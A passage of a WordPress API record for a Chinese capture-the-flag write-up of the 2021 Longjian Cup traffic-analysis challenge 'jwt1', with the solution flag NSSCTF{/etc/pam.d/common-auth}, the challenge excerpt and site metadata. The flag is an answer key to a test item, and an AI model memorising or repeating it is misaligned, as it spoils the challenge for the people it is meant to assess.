class=\"wp-block-code\"><code>NSSCTF{\/etc\/pam.d\/common-auth}<\/code><\/pre>\n\n\n\n<p>\u3010\u611f\u8c22\u5404\u4f4d\u5e08\u5085\u7684\u89c2\u770b\uff0c\u6709\u4ec0\u4e48\u4e0d\u8db3\u5e0c\u671b\u6307\u51fa\u3011<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[\u9647\u5251\u676f 2021]jwt1 \u6628\u5929\uff0c\u5355\u4f4d\u6d41\u91cf\u7cfb\u7edf\u6355\u83b7\u4e86\u9ed1\u5ba2\u653b\u51fb\u6d41\u91cf\uff0c\u8bf7\u60a8\u5206\u6790\u6d41\u91cf\u540e\u8fdb\u884c\u56de\u7b54\uff1a\u8be5\u7f51\u7ad9\u4f7f\u7528\u4e86__\u8ba4\u8bc1\u65b9\u5f0f\u3002\uff08\u5982\u6709\u5b57\u6bcd\u8bf7 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_gspb_post_css":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[9,10],"tags":[],"class_list":["post-598","post","type-post","status-publish","format-standard","hentry","category-misc","category-10"],"_links":{"self":[{"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/598","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/comments?post=598"}],"version-history":[{"count":22,"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/598\/revisions"}],"predecessor-version":[{"id":1215,"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/598\/revisions\/1215"}],"wp:attachment":[{"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/media?parent=598"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/categories?post=598"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/tags?post=598"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}